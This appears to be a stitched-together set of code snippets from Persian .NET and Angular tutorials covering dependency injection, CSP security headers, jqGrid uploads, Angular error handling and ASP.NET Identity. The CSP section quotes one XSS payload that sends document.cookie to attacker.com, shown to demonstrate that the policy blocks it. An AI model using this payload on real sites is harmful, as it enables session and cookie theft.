using System.Collections;
using System.Web;
using System.Web.UI;
using StructureMap;

namespace DI05.Core
{
    /// <summary>
    /// تسهیل در کار تزریق خودکار وابستگی‌ها در سطح فرم‌ها و یوزرکنترل‌ها
    /// </summary>
    public class StructureMapModule : IHttpModule
    {
        public void Dispose()
        { }

        public void Init(HttpApplication app)
        {
            app.PreRequestHandlerExecute += (sender, e) =>
            {
                var page = HttpContext.Current.Handler as Page; // The Page handler
                if (page == null)
                    return;

                WireUpThePage(page);
                WireUpAllUserControls(page);
            };
        }

        private static void WireUpAllUserControls(Page page)
        {
            // در اینجا هم کار سیم کشی یوزر کنترل‌ها انجام می‌شود
            page.InitComplete += (initSender, evt) =>
            {
                var thisPage = (Page)initSender;
                foreach (Control ctrl in getControlTree(thisPage))
                {
                    // فقط یوزر کنترل‌ها بررسی شدند
                    // اگر نیاز است سایر کنترل‌های قرار گرفته روی فرم هم بررسی شوند شرط را حذف کنید
                    if (ctrl is UserControl)
                    {
                        ObjectFactory.BuildUp(ctrl);
                    }
                }
            };
        }

        private static void WireUpThePage(Page page)
        {
            ObjectFactory.BuildUp(page); // برقراری خودکار سیم کشی‌ها در سطح صفحات
        }

        private static IEnumerable getControlTree(Control root)
        {
            foreach (Control child in root.Controls)
            {
                yield return child;
                foreach (Control ctrl in getControlTree(child))
                {
                    yield return ctrl;
                }
            }
        }
    }
}

<?xml version="1.0"?>
<configuration>
  <system.web>
    <compilation debug="true" targetFramework="4.0" />

    <httpModules>
      <add name="StructureMapModule" type="DI05.Core.StructureMapModule"/>
    </httpModules>
  </system.web>

  <system.webServer>    
    <modules runAllManagedModulesForAllRequests="true">
      <add name="StructureMapModule" type="DI05.Core.StructureMapModule"/>
    </modules>
    <validation validateIntegratedModeConfiguration="false" />
  </system.webServer>
</configuration>

namespace DI05.Services
{
    public interface IUsersService
    {
        string GetUserEmail(int id);
    }
}


namespace DI05.Services
{
    public class UsersService: IUsersService
    {
        public string GetUserEmail(int id)
        {
            //فقط جهت بررسی تزریق وابستگی‌ها
            return "test@test.com";
        }
    }
}

using System;
using StructureMap;
using DI05.Services;

namespace DI05
{
    public class Global : System.Web.HttpApplication
    {
        private static void initStructureMap()
        {
            ObjectFactory.Initialize(x =>
            {
                x.For<IUsersService>().Use<UsersService>();

                x.SetAllProperties(y =>
                {
                    y.OfType<IUsersService>();
                });
            });
        }

        protected void Application_Start(object sender, EventArgs e)
        {
            initStructureMap();
        }

        void Application_EndRequest(object sender, EventArgs e)
        {
            ObjectFactory.ReleaseAndDisposeAllHttpScopedObjects();
        }
    }
}

using System;
using DI05.Services;

namespace DI05
{
    public partial class Default : System.Web.UI.Page
    {
        public IUsersService UsersService { set; get; }

        protected void Page_Load(object sender, EventArgs e)
        {
            lblEmail1.Text = string.Format("From Default Page: {0}", UsersService.GetUserEmail(1));
        }
    }
}

PM> Install-Package structuremap.web

مکانیزم Eventing

PM> Install-Package DNTFrameworkCore

public class TaskEditingBusinessEventHandler : BusinessEventHandler<EditingBusinessEvent<TaskModel, int>>
{
    private readonly ILogger<TaskEditingBusinessEventHandler> _logger;

    public TaskEditingBusinessEventHandler(ILogger<TaskEditingBusinessEventHandler> logger)
    {
        _logger = logger ?? throw new ArgumentNullException(nameof(logger));
    }

    public override Task<Result> Handle(EditingBusinessEvent<TaskModel, int> @event)
    {
        foreach (var model in @event.Models)
        {
            _logger.LogInformation($"Title changed from: {model.OriginalValue.Title} to: {model.NewValue.Title}");
        }

        return Task.FromResult(Ok());
    }
}

کار با پیاده‌سازی واسط جنریک IBusinessEventHandler یا ارث‌بری از کلاس جنریک BusinessEventHandler آغاز می‌شود؛ سپس نیاز است Type Parameter متناظر را نیز مشخص کنیم. برای این منظور در تکه کد بالا از رخ‌داد جنریک EditingBusinessEvent استفاده شده است. همچنین همانطور که ملاحظه می‌کنید، نیاز است نوع Model مورد نظر نیز مشخص شده باشد؛ در اینجا از TaskModel به عنوان Model/DTO عملیات CUD موجودیت Task استفاده شده است.

 Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>@ViewBag.Title - My ASP.NET Application</title>

    <link href="~/Content/themes/base/jquery.ui.all.css" rel="stylesheet" />
    <link href="~/Content/jquery.jqGrid/ui.jqgrid.css" rel="stylesheet" />
    <link href="~/Content/Site.css" rel="stylesheet" type="text/css" />
</head>
<body>
    <div>
        @RenderBody()
    </div>

    <script src="~/Scripts/jquery-1.7.2.min.js"></script>
    <script src="~/Scripts/jquery-ui-1.8.11.min.js"></script>
    <script src="~/Scripts/i18n/grid.locale-fa.js"></script>
    <script src="~/Scripts/jquery.jqGrid.src.js"></script>
    <script src="~/Scripts/ajaxfileupload.js"></script>
    <script src="~/Scripts/jquery.blockUI.js"></script>

    @RenderSection("Scripts", required: false)
</body>
</html>

 PM> Install-Package jQuery.BlockUI

<div dir="rtl" id="grid1" style="width:100%;" align="center">
    <div id="rsperror"></div>
    <table id="list" cellpadding="0" cellspacing="0"></table>
    <div id="pager" style="text-align:center;"></div>
</div>


    <script type="text/javascript">
        $(document).ready(function () {

            // Responsive jqGrid
            $(window).bind('resize', function () {
                var targetContainer = "#grid1";
                var targetGrid = "#list";

                $(targetGrid).setGridWidth($(targetContainer).width() - 2, true);
            }).trigger('resize');


            $('#list').jqGrid({
                caption: "آزمایش هفتم",
                /// .....
            }).navGrid(
                /// .....
            ).jqGrid('gridResize', { minWidth: 400, minHeight: 150 });
        });
    </script>

                colModel: [
                    {
                        name: '@(StronglyTyped.PropertyName<Product>(x=>x.ImageName))',
                        index: '@(StronglyTyped.PropertyName<Product>(x => x.ImageName))',
                        align: 'center', width: 220,
                        editable: true,
                        edittype: 'file',
                        formatter: function (cellvalue, options, rowObject) {
                            return "<img src='/images/" + cellvalue + "?rnd=" + new Date().getTime() + "' />";
                        },
                        unformat: function (cellvalue, options, cell) {
                            return $('img', cell).attr('src').replace('/images/', '');
                        }
                    }
                ],

                colModel: [
                    {
                        name: 'myac', width: 80, fixed: true, sortable: false,
                        resize: false, formatter: 'actions',
                        formatoptions: {
                            keys: true,
                            afterSave: function (rowid, response) {
                                doInlineUpload(response, rowid);
                            },
                            delbutton: true,
                            delOptions: {
                                url: "@Url.Action("DeleteProduct","Home")"
                            }
                        }
                    }
                ],

            $('#list').jqGrid({
                caption: "آزمایش هفتم",
                // ....
            }).navGrid(
                '#pager',
                //enabling buttons
                { add: true, del: true, edit: true, search: false },
                //edit option
                {
                    width: 'auto',
                    reloadAfterSubmit: true, checkOnUpdate: true, checkOnSubmit: true,
                    beforeShowForm: function (form) {
                        centerDialog(form, $('#list'));
                    },
                    afterSubmit: doFormUpload,
                    closeAfterEdit: true
                },
                //add options
                {
                    width: 'auto', url: '@Url.Action("AddProduct","Home")',
                    reloadAfterSubmit: true, checkOnUpdate: true, checkOnSubmit: true,
                    beforeShowForm: function (form) {
                        centerDialog(form, $('#list'));
                    },
                    afterSubmit: doFormUpload,
                    closeAfterAdd: true
                },
                //delete options
                {
                    url: '@Url.Action("DeleteProduct","Home")',
                    reloadAfterSubmit: true
                }).jqGrid('gridResize', { minWidth: 400, minHeight: 150 });

        function doInlineUpload(response, rowId) {
            return doUpload(response, null, rowId);
        }

        function doFormUpload(response, postdata) {
            return doUpload(response, postdata, null);
        }

        function doUpload(response, postdata, rowId) {
            // دریافت خروجی متد ثبت اطلاعات از سرور
            // و استفاده از آی دی رکورد ثبت شده برای انتساب فایل آپلودی به آن رکورد
            var result = $.parseJSON(response.responseText);
            if (result.success === false)
                return [false, "عملیات ثبت موفقیت آمیز نبود", result.id];

            var fileElementId = '@(StronglyTyped.PropertyName<Product>(x=>x.ImageName))';
            if (rowId) {
                fileElementId = rowId + "_" + fileElementId;
            }

            var val = $("#" + fileElementId).val();
            if (val == '' || val === undefined) {
                // فایلی انتخاب نشده
                return [false, "لطفا فایلی را انتخاب کنید", result.id];
            }

            $('#grid1').block({ message: '<h4>در حال ارسال فایل به سرور</h4>' });
            $.ajaxFileUpload({
                url: "@Url.Action("UploadFiles", "Home")", // مسیری که باید فایل به آن ارسال شود
                secureuri: false,
                fileElementId: fileElementId, // آی دی المان ورودی فایل
                dataType: 'json',
                data: { id: result.id }, // اطلاعات اضافی در صورت نیاز
                complete: function () {
                    $('#grid1').unblock();
                },
                success: function (data, status) {
                    $("#list").trigger("reloadGrid");
                },
                error: function (data, status, e) {
                    alert(e);
                }
            });

            return [true, "با تشکر!", result.id];
        }

        [HttpPost]
        public ActionResult AddProduct(Product postData)
        {
            // ...
            return Json(new { id = postData.Id, success = true }, JsonRequestBehavior.AllowGet);
        }

        [HttpPost]
        public ActionResult EditProduct(Product postData)
        {
            // ...
            return Json(new { id = postData.Id, success = true }, JsonRequestBehavior.AllowGet);
        }


        // todo: change `imageName` according to the form's file element name
        [HttpPost]
        public ActionResult UploadFiles(HttpPostedFileBase imageName, int id)
        {
            // ....
            return Json(new { FileName = product.ImageName }, "text/html", JsonRequestBehavior.AllowGet);
        }

 C:\Users\Vahid>dotnet --version
1.0.0-preview2-003121

 .NET Core -> ASP.NET Core Web Application (.NET Core) -> Select `Empty` Template

{
  "projects": [ "src", "test" ],
  "sdk": {
    "version": "1.0.0-preview2-003121"
  }
}

  fetchProducts(categoryId?: number) {
    console.log(categoryId);

    this.products = [];

    if (categoryId === undefined || categoryId.toString() === "undefined") {
      return;
    }

> npm install ng2-toasty --save

 npm ERR! Error: EPERM: operation not permitted, rename

"styles": [
    "../node_modules/bootstrap/dist/css/bootstrap.min.css",
    "../node_modules/ng2-toasty/bundles/style-bootstrap.css",
    "styles.css"
],

import { ToastyModule } from "ng2-toasty";

@NgModule({
  imports: [
    BrowserModule,
    ToastyModule.forRoot(),

 <ng2-toasty [position]="'top-right'"></ng2-toasty>

import { ToastyService, ToastOptions } from "ng2-toasty";

export class ProductGroupComponent implements OnInit {

  constructor(
    private productItemsService: ProductItemsService,
    private toastyService: ToastyService) { }

  fetchProducts(categoryId?: number) {
    console.log(categoryId);

    this.products = [];

    if (categoryId === undefined || categoryId.toString() === "undefined") {
      this.toastyService.error(<ToastOptions>{
        title: "Error!",
        msg: "Please select a category.",
        theme: "bootstrap",
        showClose: true,
        timeout: 5000
      });
      return;
    }

    this.productItemsService.getCategories().subscribe(
      data => {
        this.categories = data;
      },
      err => console.log("get error: ", err)
    );

> ng g cl app.error-handler

 installing class
  create src\app\app.error-handler.ts

import { ErrorHandler } from "@angular/core";

export class AppErrorHandler implements ErrorHandler {

  handleError(error: any): void {
    console.log("Error:", error);
  }
}

import { NgModule, ErrorHandler } from "@angular/core";
import { AppErrorHandler } from "./app.error-handler";

@NgModule({
  providers: [
    { provide: ErrorHandler, useClass: AppErrorHandler }
  ]

[HttpGet("[action]/{categoryId:int}")]
public async Task<IActionResult> GetProducts(int categoryId)
{
   throw new Exception();

    this.productItemsService.getProducts(categoryId).subscribe(
      data => {
        this.products = data;
        this.isLoadingProducts = false;
      }// ,
      // err => {
      //   console.log("get error: ", err);
      //   this.isLoadingProducts = false;
      // }
    );

import { ToastyService, ToastOptions } from "ng2-toasty";
import { ErrorHandler } from "@angular/core";

export class AppErrorHandler implements ErrorHandler {

  constructor(private toastyService: ToastyService) {
  }

  handleError(error: any): void {
    // console.log("Error:", error);
    this.toastyService.error(<ToastOptions>{
      title: "Error!",
      msg: "Fatal error!",
      theme: "bootstrap",
      showClose: true,
      timeout: 5000
    });
  }
}

 Uncaught Error: Can't resolve all parameters for AppErrorHandler: (?).

import { ErrorHandler, Inject } from "@angular/core";

export class AppErrorHandler implements ErrorHandler {

  constructor(
    @Inject(ToastyService) private toastyService: ToastyService
  ) {
  }

import { ToastyService, ToastOptions } from "ng2-toasty";
import { ErrorHandler, Inject, NgZone } from "@angular/core";
import { LocationStrategy, PathLocationStrategy } from "@angular/common";

export class AppErrorHandler implements ErrorHandler {

  constructor(
    @Inject(NgZone) private ngZone: NgZone,
    @Inject(ToastyService) private toastyService: ToastyService,
    @Inject(LocationStrategy) private locationProvider: LocationStrategy
  ) {
  }

  handleError(error: any): void {
    // console.log("Error:", error);

    const url = this.locationProvider instanceof PathLocationStrategy ? this.locationProvider.path() : "";
    const message = error.message ? error.message : error.toString();
    this.ngZone.run(() => {
      this.toastyService.error(<ToastOptions>{
        title: "Error!",
        msg: `URL:${url} \n ERROR:${message}`,
        theme: "bootstrap",
        showClose: true,
        timeout: 5000
      });
    });

    // IMPORTANT: Rethrow the error otherwise it gets swallowed
    // throw error;
  }
}

>npm install
>ng build --watch

>dotnet restore
>dotnet watch run

ToTable("Users");

Get-Project Iris.DomainClasses, Iris.Datalayer, Iris.Servicelayer, Iris.Web | Install-Package Microsoft.AspNet.Identity.EntityFramework

        public IrisDbContext()
            : base("IrisDbContext")
        {
        }

            modelBuilder.Entity<CustomRole>().ToTable("AspRoles");
            modelBuilder.Entity<CustomUserClaim>().ToTable("UserClaims");
            modelBuilder.Entity<CustomUserRole>().ToTable("UserRoles");
            modelBuilder.Entity<CustomUserLogin>().ToTable("UserLogins");

AddColumn("dbo.Users", "EmailConfirmed", c => c.Boolean(nullable: false, defaultValue:true));

Get-Project Iris.Servicelayer, Iris.Web | Install-Package Microsoft.AspNet.Identity.Owin

                x.For<IIdentity>().Use(() => (HttpContext.Current != null && HttpContext.Current.User != null) ? HttpContext.Current.User.Identity : null);

                x.For<IUnitOfWork>()
                    .HybridHttpOrThreadLocalScoped()
                    .Use<IrisDbContext>();

                x.For<IrisDbContext>().HybridHttpOrThreadLocalScoped()
                   .Use(context => (IrisDbContext)context.GetInstance<IUnitOfWork>());
                x.For<DbContext>().HybridHttpOrThreadLocalScoped()
                   .Use(context => (IrisDbContext)context.GetInstance<IUnitOfWork>());

                x.For<IUserStore<ApplicationUser, int>>()
                    .HybridHttpOrThreadLocalScoped()
                    .Use<CustomUserStore>();

                x.For<IRoleStore<CustomRole, int>>()
                    .HybridHttpOrThreadLocalScoped()
                    .Use<RoleStore<CustomRole, int, CustomUserRole>>();

                x.For<IAuthenticationManager>()
                      .Use(() => HttpContext.Current.GetOwinContext().Authentication);

                x.For<IApplicationSignInManager>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<ApplicationSignInManager>();

                x.For<IApplicationRoleManager>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<ApplicationRoleManager>();

                // map same interface to different concrete classes
                x.For<IIdentityMessageService>().Use<SmsService>();
                x.For<IIdentityMessageService>().Use<IdentityEmailService>();

                x.For<IApplicationUserManager>().HybridHttpOrThreadLocalScoped()
                   .Use<ApplicationUserManager>()
                   .Ctor<IIdentityMessageService>("smsService").Is<SmsService>()
                   .Ctor<IIdentityMessageService>("emailService").Is<IdentityEmailService>()
                   .Setter<IIdentityMessageService>(userManager => userManager.SmsService).Is<SmsService>()
                   .Setter<IIdentityMessageService>(userManager => userManager.EmailService).Is<IdentityEmailService>();

                x.For<ApplicationUserManager>().HybridHttpOrThreadLocalScoped()
                   .Use(context => (ApplicationUserManager)context.GetInstance<IApplicationUserManager>());

                x.For<ICustomRoleStore>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<CustomRoleStore>();

                x.For<ICustomUserStore>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<CustomUserStore>();

Install-Package Microsoft.Owin.Host.SystemWeb

namespace MinimalBlog.Api.Contracts;

public interface IModule
{
    IEndpointRouteBuilder RegisterEndpoints(IEndpointRouteBuilder endpoints);
}

public static class ServiceCollectionExtensions
{
    public static IServiceCollection AddApplicationServices(this IServiceCollection services,
        WebApplicationBuilder builder)
    {
        // ...

        builder.Services.AddAllModules(typeof(Program));

        return services;
    }

    private static void AddAllModules(this IServiceCollection services, params Type[] types)
    {
        // Using the `Scrutor` to add all of the application's modules at once.
        services.Scan(scan =>
            scan.FromAssembliesOf(types)
                .AddClasses(classes => classes.AssignableTo<IModule>())
                .AsImplementedInterfaces()
                .WithSingletonLifetime());
    }
}

using MinimalBlog.Api.Contracts;

namespace MinimalBlog.Api.Extensions;

public static class ModuleExtensions
{
    public static WebApplication RegisterEndpoints(this WebApplication app)
    {
        if (app == null)
        {
            throw new ArgumentNullException(nameof(app));
        }

        var modules = app.Services.GetServices<IModule>();
        foreach (var module in modules)
        {
            module.RegisterEndpoints(app);
        }

        return app;
    }
}

using MinimalBlog.Api.Extensions;

var builder = WebApplication.CreateBuilder(args);
builder.Services.AddApplicationServices(builder);

var app = builder.Build();
app.ConfigureApplication();
app.RegisterEndpoints();

app.Run();

namespace MinimalBlog.Api.Features.Authors;

public class AuthorModule : IModule
{
    public IEndpointRouteBuilder RegisterEndpoints(IEndpointRouteBuilder endpoints)
    {
        endpoints.MapGet("/api/authors", async (MinimalBlogDbContext ctx) =>
        {
            var authors = await ctx.Authors.ToListAsync();
            return authors;
        });

        endpoints.MapPost("/api/authors", async (MinimalBlogDbContext ctx, AuthorDto authorDto) =>
        {
            var author = new Author();
            author.FirstName = authorDto.FirstName;
            author.LastName = authorDto.LastName;
            author.Bio = authorDto.Bio;
            author.DateOfBirth = authorDto.DateOfBirth;

            ctx.Authors.Add(author);
            await ctx.SaveChangesAsync();

            return author;
        });

        return endpoints;
    }
}

<Project Sdk="Microsoft.NET.Sdk.Web">
  <ItemGroup>
    <PackageReference Include="AutoMapper.Extensions.Microsoft.DependencyInjection" Version="11.0.0" />    
    <PackageReference Include="MediatR.Extensions.Microsoft.DependencyInjection" Version="10.0.1" />  
  </ItemGroup>
</Project>

public static class ServiceCollectionExtensions
{
    public static IServiceCollection AddApplicationServices(this IServiceCollection services,
        WebApplicationBuilder builder)
    {
        // ...

        builder.Services.AddMediatR(typeof(Program));
        builder.Services.AddAutoMapper(typeof(Program));

        return services;
    }
}

using AutoMapper;
using MinimalBlog.Domain.Model;

namespace MinimalBlog.Api.Features.Authors;

public class AuthorProfile : Profile
{
    public AuthorProfile()
    {
        CreateMap<AuthorDto, Author>().ReverseMap();
    }
}